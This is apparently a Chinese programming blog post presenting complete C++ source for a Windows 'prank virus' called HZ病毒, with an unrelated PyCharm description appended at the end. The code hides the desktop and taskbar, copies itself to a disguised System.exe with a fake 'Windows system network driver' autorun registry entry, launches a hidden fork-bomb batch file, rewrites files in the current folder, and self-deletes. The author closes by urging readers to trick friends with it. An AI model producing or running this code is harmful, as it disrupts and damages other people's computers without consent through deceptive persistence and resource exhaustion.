恶搞程序 2022.1.14

目录

了解恶搞程序

制作恶搞程序


了解恶搞程序

恶意程序通常是指带有攻击意图所编写的一段程序。这些威胁可以分成两个类别:需要宿主程序威胁彼此独立的威胁。前者基本上是不能独立于某个实际的应用程序、实用程序或系统程序的程序片段;后者是可以被操作系统调度和运行的自包含程序

也可以将这些软件威胁分成不进行复制工作和进行复制工作的。简单说,前者是一些当宿主程序调用时被激活起来完成一个特定功能的程序片段;后者或者由程序片段(病毒)或者由独立程序(蠕虫、细菌)组成,在执行时可以在同一个系统或某个其它系统中产生自身的一个或多个以后被激活的副本。

制作恶搞程序

作者我是用c++编程

环境 :Dev-c++ 5.83

#include<bits/stdc++.h>
#include<windows.h>
#include<ctime>
#include <stdio.h>
using namespace std;
const char mod = '%';
void ycgb()//隐藏光标 
{
	CONSOLE_CURSOR_INFO cursor_info = {1, 0}; //0表示隐藏
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
} 
void yczm(){//隐藏桌面+任务栏 
	HWND desktop,task;
    desktop=FindWindow("ProgMan",NULL);
    task=FindWindow("Shell_TrayWnd",NULL);
    ShowWindow(task,SW_HIDE);//隐藏任务栏
    ShowWindow(desktop,SW_HIDE);//隐藏桌面
}
void xszm(){//显示桌面+任务栏 
	HWND desktop,task;
    desktop=FindWindow("ProgMan",NULL);
    task=FindWindow("Shell_TrayWnd",NULL);
    ShowWindow(task,SW_SHOW);//显示
    ShowWindow(desktop,SW_SHOW);//显示
}
void HideWindow() {//隐藏控制台 
	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_HIDE);
	}
}
void ShowWindow() {//显示控制台 
	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_SHOW);
	}
}
void DeleteApplicationSelf()//自我毁灭
{
       char szCommandLine[MAX_PATH + 10];
 
       //设置本进程为实时执行,快速退出。
       SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
       SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
       //通知资源管理器不显示本程序,当然如果程序没有真正的删除,刷新资源管理器后仍会显示出来的。
    //SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL);
      
       //调用cmd传入参数以删除自己
       sprintf(szCommandLine, "/c del /q %s", _pgmptr);
       ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE);
 
       ExitProcess(0);
}
void revir()//删除当前目录
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.**", &FindFileData);//可以更改.c .c程序后衔名

string FileCode[500];

//病毒函数调用应当插在"main"后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件
while (true)
{
   //加载文件
   int FileLen = 0; //宿主代码长度
   int MainLoc = 0; //主函数位置

   ifstream ibe(FindFileData.cFileName);
   getline(ibe,FileCode[0]);


    //病毒代码要过虑掉
    for(FileLen = 0;getline(ibe,FileCode[0]);)
    {
     if(FileCode[FileLen] == "//HZ病毒")
     {
      break;
     }
    }
    //宿主未感染前的代码
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if(FileCode[FileLen].find("main") != -1)
     {
      MainLoc = FileLen;
     }
    }

    //清除主文件中的函数调用
    for (int i = MainLoc;i < FileLen;i++)
    {
     if(FileCode[i].find('{') != -1)
     {
      FileCode[i + 1] = "";
      break;
     }
    }
    ibe.close();

    ofstream be(FindFileData.cFileName);
    for(int i = 0;i < FileLen;i++)
    {
     be<<FileCode[i]<<endl;
    }
    be.close();
    cout<<FindFileData.cFileName<<":清除成功"<<endl;


   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int kjqd(){//设置自启动
	HKEY hRoot = HKEY_CURRENT_USER;	
	char *szSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";	
	HKEY hKey;
	// 打开指定子键
	DWORD dwDisposition = REG_OPENED_EXISTING_KEY;	// 如果不存在不创建
	LONG lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL,
	REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);
	if (lRet != ERROR_SUCCESS)
	    return -1;
	// 得到当前执行文件的文件名(包含路径)
	char szModule[MAX_PATH];
	GetModuleFileName(NULL, szModule, MAX_PATH);
	printf("要设置的键值数据为:%s\n", szModule);
	// 创建一个新的键值,设置键值数据为文件名 SelfRunDemo为名称,相同会覆盖
	lRet = RegSetValueEx(hKey, "SelfRun", 0, REG_SZ, (BYTE*)szModule, strlen(szModule));
	if (lRet == ERROR_SUCCESS)
	{
		printf("自动启动设置成功!\n");
	}
	//查询键值
	DWORD len;
	memset(szModule,'\0', sizeof(szModule));
	lRet = RegQueryValueEx(hKey, "SelfRun", 0, NULL, (BYTE*)szModule, &len);
	printf("要查询的键值数据为:%s\n", szModule);
	// 关闭子键句柄
	RegCloseKey(hKey);
	getchar();
}
void ycxt(){//隐藏病毒
	char filename[MAX_PATH];
	GetModuleFileName(NULL,filename,MAX_PATH);//获取当前文件夹绝对路径名
	CreateDirectory("D:\\HZ",NULL);//在D盘创建一个文件夹
	CopyFile(filename,"D:\\HZ\\System.exe",TRUE);//将文件放入D盘文件夹并覆盖
	//现在看看你的D盘吧
	//再次提醒, 不 要 随 便 删 掉 注 册 项
	HKEY hkey;//打开指定子键
	RegOpenKey
	(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx
	(hkey,"Windows system 网络驱动组件",0,REG_SZ,(const BYTE*)"D:\\HZ\\System.exe",strlen(filename));
}
int lp()//终于开始做蓝屏的我 伪蓝屏 
{
	FILE *file = fopen("kabao.bat", "w");
	fprintf(file, "%c0|%c0", mod, mod);
	fclose(file);
	SetFileAttributes("kabao.bat", FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
	ShellExecute(0, "open", "kabao.bat", "", "", SW_HIDE);
 } 
int main(){
	SetConsoleTitle("初始化");//更改标题 
	ycgb();
	ycxt();
	SetConsoleTitle("HZ病毒"); 
    if(MessageBox(NULL,"请问是否激活病毒?(是/否)","HZ病毒",MB_YESNO+32|MB_ICONWARNING|MB_TOPMOST)==6) 
    {
    	SetConsoleTitle("HZ病毒激活中"); 
    	if(MessageBox(NULL,"非法破坏别人电脑是不好的! 本程序仅仅用于编程爱好者!","HZ病毒",MB_YESNO+32|MB_ICONWARNING|MB_TOPMOST )==6) 
    	{
    		SetConsoleTitle("HZ病毒激活成功");
			Sleep(1000);
			SetConsoleTitle("HZ病毒运行中");
			Sleep(1000);
			SetConsoleTitle("HZ病毒");
			HideWindow();
			yczm();
			revir();
			kjqd();
			
			ShowWindow();
			SetConsoleTitle("HZ病毒运行成功");
			
		}
		else {
			SetConsoleTitle("HZ病毒自动毁灭中");
			DeleteApplicationSelf();
		}
	}
	else{
		SetConsoleTitle("HZ病毒自动毁灭中");
		DeleteApplicationSelf();
	}
	return 0;
}

好了,去坑你的朋友吧.Goodbye

小心一点,小心被朋友......

PyCharm Community Edition 2022.1.2 是 JetBrains 公司推出的一款 Python 集成开发环境(IDE)。它的主要目标是提供给开发者一个强大的工具,以便更加高效地进行 Python 编程和开发工作。 首先,PyCharm Community Edition 2022.1.2 拥有一系列丰富的功能和工具,可以帮助开发者提高开发效率。例如,它提供了一个强大的代码编辑器,支持代码补全、语法高亮、代码导航等功能,有助于减少开发中的拼写错误和语法错误。 其次,PyCharm Community Edition 2022.1.2 还支持一键运行和调试功能,开发者可以轻松地运行和调试他们的 Python 代码。它提供了一个直观的界面,可以设置断点、监视变量和查看程序执行过程,帮助开发者更好地理解和解决问题。 另外,PyCharm Community Edition 2022.1.2 还具有强大的版本控制功能。它支持集成多种版本控制系统,如 Git、Mercurial 和 Subversion,开发者可以方便地管理和跟踪他们的代码变化。 此外,PyCharm Community Edition 2022.1.2 还提供了丰富的插件生态系统,开发者可以根据自己的需求安装和使用各种插件,扩展 IDE 的功能。 总之,PyCharm Community Edition 2022.1.2 是一款功能丰富、易用的 Python IDE。它可以帮助开发者编写、运行和调试 Python 代码,并提供了许多有用的功能和工具,提高开发效率。无论是初学者还是专业开发者,都可以通过使用 PyCharm Community Edition 2022.1.2 来提升他们的开发工作。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值